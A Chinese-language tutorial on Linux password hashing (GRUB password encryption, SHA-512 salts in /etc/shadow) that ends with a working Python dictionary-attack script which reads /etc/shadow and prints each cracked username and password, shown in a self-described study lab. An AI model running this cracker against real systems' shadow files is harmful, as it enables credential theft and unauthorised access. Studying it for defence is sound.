(所有有关安全入侵防范知识仅供自己参考学习,未经别人允许入侵别人系统是违法的!)
* grub-md5-crypt(获取MD5 加密) * md5sum fileUrl(对文件MD5加密) * grub-crypt (SHA-512 加密) * CentOS6以上用户的密码加密为:SHA-512
》》grub-crypt(获取SHA-512密文) 》》cd /etc/grub.conf 》》password --encrypted [以上的密文] (位置在hiddenmenu下)
A.通过 man 手册查看crypt 》》man crypt B. $ id $ salt (盐值)$ encrypted(加密的密文) //盐值:由[a-z1-9A-Z./]随机字符串混合加密算法所产生的密码值 作用:使同一种同种加密方式所产生的密文不同
* 获取/etc/shadow文件 * 准备本地字典(passwd.txt【注意字典最后一行的回车】) * 为方便观察将我本地用户Kevin密码改为123456 》》echo 123456 | passwd --stdin Kevin
#!/usr/bin/env python
#coding:utf8
import crypt
# 获取shadow文件并赋给变量user_pwfile
user_pwfile = "/etc/shadow"
# 定义获取密码函数get_pw()
def get_pw(u_p):
# 定义用户名和密码对应的字典
user_pw = {}
# 读取shadow文件
f = open(u_p,'r')
userline = f.readlines()
f.close()
for l in userline:
# 筛选掉系统用户
if len(l.split(":")[1]) > 3:
# 将用户和密码加入字典user_pw
user_pw[l.split(":")[0]] = l.split(":")[1]
return user_pw
# 获取本地字典集文件并赋给dicti
dicti = "/kevin/passwd.txt"
# 定义读取本地字典集函数
def get_dic(g_d):
f = open(g_d,'r')
mw_dic = f.readlines()
f.close()
return mw_dic
# 定义主函数
def main():
# 主函数中用户名和密码(字典)
user_passwd = get_pw(user_pwfile)
# 主函数中本地字典集
mw_dic = get_dic(dicti)
# 循环出用户键名
for u in user_passwd:
# 获得每个用户密码
passwd = user_passwd[u]
# 获得每个用户盐值
salt = "$6$" + passwd.split("$")[2]
for pw_mv in mw_dic:
#rstrip()去除空行(\n)
if passwd == crypt.crypt(pw_mv.rstrip(),salt):
print("用户名:%s 密码:%s" %(u,pw_mv.rstrip()))
if __name__ == "__main__":
main()